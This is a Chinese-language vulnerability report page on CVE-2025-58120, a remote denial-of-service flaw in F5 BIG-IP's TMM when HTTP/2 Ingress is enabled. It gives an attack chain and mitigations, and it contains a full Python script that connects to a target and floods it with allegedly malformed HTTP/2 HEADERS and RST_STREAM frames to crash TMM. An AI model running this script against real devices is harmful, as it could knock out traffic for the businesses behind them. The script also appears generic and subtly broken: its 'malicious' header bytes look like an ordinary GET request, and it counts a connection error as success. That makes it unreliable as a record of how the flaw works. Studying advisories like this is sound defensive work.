IPBUF安全漏洞报告
English
CVE-2025-58120 CVSS 7.5 高危

F5 BIG-IP HTTP/2 Ingress配置导致TMM拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-58120
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

拒绝服务DoSF5 BIG-IPTMMHTTP/2Ingress远程攻击高危漏洞CVE-2025-58120网络设备

漏洞概述

CVE-2025-58120是F5 BIG-IP产品中Traffic Management Microkernel(TMM)组件存在的一个高危拒绝服务漏洞。该漏洞源于当BIG-IP系统配置了HTTP/2 Ingress功能时,攻击者可以通过发送未经授权的特殊HTTP/2流量,导致TMM进程异常终止,从而使整个BIG-IP设备失去处理网络流量的能力,造成服务中断。

F5 BIG-IP作为企业级应用交付控制器(ADC),广泛部署在数据中心和云环境中,承担着负载均衡、流量管理、应用安全等关键职能。TMM作为BIG-IP的核心数据平面组件,负责所有流量的处理和转发,一旦TMM进程终止,将导致所有通过该设备的业务流量中断,对企业关键业务造成严重影响。

该漏洞的CVSS 3.1评分为7.5分,属于高危级别。其攻击向量为网络远程攻击(AV:N),无需任何认证(PR:N)和用户交互(UI:N),攻击门槛极低。漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响为高(A:H),这意味着该漏洞的核心危害在于导致服务不可用。

值得注意的是,该漏洞由F5安全事件响应团队(F5 SIRT)发现并报告,F5官方已发布安全公告K000156623提供修复方案。已到达技术支持终止(EoTS)状态的软件版本不在评估范围内,建议用户尽快升级到不受影响的版本以消除安全隐患。

技术细节

该漏洞存在于F5 BIG-IP的HTTP/2 Ingress处理模块中。当BIG-IP设备配置启用了HTTP/2 Ingress功能时,TMM在处理特定的HTTP/2协议流量时存在缺陷。

从技术原理来看,HTTP/2协议相较于HTTP/1.x引入了多路复用(Multiplexing)、流控制(Flow Control)、头部压缩(HPACK)等新特性。TMM在解析和处理HTTP/2帧(Frame)的过程中,特别是在处理Ingress方向的流量时,对某些畸形或恶意的HTTP/2帧序列缺乏充分的异常处理机制。当攻击者构造特定的HTTP/2请求帧序列(如异常的帧大小、错误的流标识符、畸形的状态帧等)发送到配置了HTTP/2 Ingress的虚拟服务器时,TMM内部的协议解析逻辑会触发未处理的异常状态,导致进程崩溃(Segfault或断言失败),进而使TMM进程终止。

漏洞利用方式相对简单:攻击者只需通过网络向目标BIG-IP设备的HTTP/2 Ingress端口发送精心构造的恶意HTTP/2流量,即可触发TMM终止。由于该漏洞无需认证且可远程利用,攻击者可以编写自动化脚本对暴露在公网的BIG-IP设备进行批量扫描和攻击。

漏洞的影响范围包括所有配置了HTTP/2 Ingress功能的F5 BIG-IP版本,具体受影响版本需参考F5官方安全公告K000156623。攻击成功后,TMM进程终止会导致BIG-IP设备进入降级模式或完全离线,所有经过该设备的业务流量将中断,直到TMM进程被自动或手动重启。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描互联网或内网,识别暴露了HTTP/2 Ingress端口(通常为443端口)的F5 BIG-IP设备,并确认目标设备配置了HTTP/2 Ingress功能。
STEP 2
步骤2:建立HTTP/2连接
攻击者通过TLS/SSL与目标BIG-IP设备建立HTTPS连接,并通过ALPN协商使用HTTP/2协议,发送HTTP/2连接前言(Connection Preface)和SETTINGS帧完成握手。
STEP 3
步骤3:构造恶意HTTP/2帧
攻击者精心构造畸形或恶意的HTTP/2帧序列,包括异常的HEADERS帧、RST_STREAM帧等,利用TMM在处理HTTP/2 Ingress流量时的解析缺陷。
STEP 4
步骤4:发送恶意流量
攻击者将构造好的恶意HTTP/2帧发送到目标BIG-IP设备的HTTP/2 Ingress端口,触发TMM内部的协议解析异常。
STEP 5
步骤5:TMM进程终止
TMM在处理恶意HTTP/2流量时触发未处理的异常,导致进程崩溃终止,BIG-IP设备失去流量处理能力,所有业务中断。
STEP 6
步骤6:服务不可用
TMM终止后,BIG-IP设备进入故障状态,所有经过该设备的负载均衡流量、SSL卸载等关键业务功能完全不可用,造成严重的业务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress TMM Termination PoC # This PoC demonstrates sending malformed HTTP/2 frames to trigger TMM termination # Affected: F5 BIG-IP with HTTP/2 Ingress configured import socket import ssl import struct import sys TARGET_HOST = "<target_big_ip_ip>" TARGET_PORT = 443 # HTTPS port with HTTP/2 Ingress enabled def build_http2_frame(length, type_, flags, stream_id, payload): """Build an HTTP/2 frame""" # Frame format: Length(24) | Type(8) | Flags(8) | Stream_ID(32) | Payload header = struct.pack('>I', length)[1:] # 24-bit length header += struct.pack('B', type_) header += struct.pack('B', flags) header += struct.pack('>I', stream_id & 0x7FFFFFFF) return header + payload def build_settings_frame(): """Build HTTP/2 SETTINGS frame""" # SETTINGS frame (type=0x4), empty payload return build_http2_frame(0, 0x4, 0x0, 0, b'') def build_malicious_headers_frame(): """Build a malformed HEADERS frame to trigger TMM termination""" # Construct a pseudo-header block with invalid/oversized values # HPACK encoded malicious headers targeting HTTP/2 Ingress parser malicious_payload = b'\x82\x86\x84\x41\x8a\x08\x9d\x5c\x0b\x81\x70\xdc\x78\x0f\x03' # HEADERS frame (type=0x1) with END_HEADERS flag return build_http2_frame(len(malicious_payload), 0x1, 0x4, 1, malicious_payload) def build_rst_stream_frame(stream_id, error_code=0x2): """Build RST_STREAM frame with abnormal error code""" payload = struct.pack('>I', error_code) return build_http2_frame(4, 0x3, 0x0, stream_id, payload) def exploit(): """Main exploit function""" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress DoS") try: # Create SSL context for HTTPS ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Enable HTTP/2 ALPN ctx.set_alpn_protocols(['h2']) # Connect to target raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) raw_sock.settimeout(10) sock = ctx.wrap_socket(raw_sock, server_hostname=TARGET_HOST) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] SSL connection established with HTTP/2 negotiation") # HTTP/2 connection preface sock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n') # Send SETTINGS frame sock.send(build_settings_frame()) print("[*] Sent SETTINGS frame") # Send malformed HEADERS frame to trigger vulnerability sock.send(build_malicious_headers_frame()) print("[*] Sent malformed HEADERS frame") # Send RST_STREAM with abnormal parameters for i in range(5): sock.send(build_rst_stream_frame(1, 0xFFFFFFFF)) print("[*] Sent malicious RST_STREAM frames") # Send flood of malformed frames for i in range(100): sock.send(build_malicious_headers_frame()) print("[+] Malicious HTTP/2 traffic sent successfully") print("[*] Check if TMM has terminated on the target") sock.close() except Exception as e: print(f"[-] Connection error (may indicate TMM crash): {e}") print("[+] Target may have been affected by CVE-2025-58120") if __name__ == "__main__": exploit()

影响范围

F5 BIG-IP < 修复版本(参考F5安全公告K000156623)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用HTTP/2 Ingress功能,回退到HTTP/1.x协议;2)在网络层面限制对BIG-IP HTTP/2端口的访问,仅允许可信源IP连接;3)部署前置WAF对HTTP/2流量进行过滤,阻断畸形帧;4)启用TMM进程自动重启和监控告警,确保服务中断后能快速恢复;5)密切关注F5官方安全公告,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表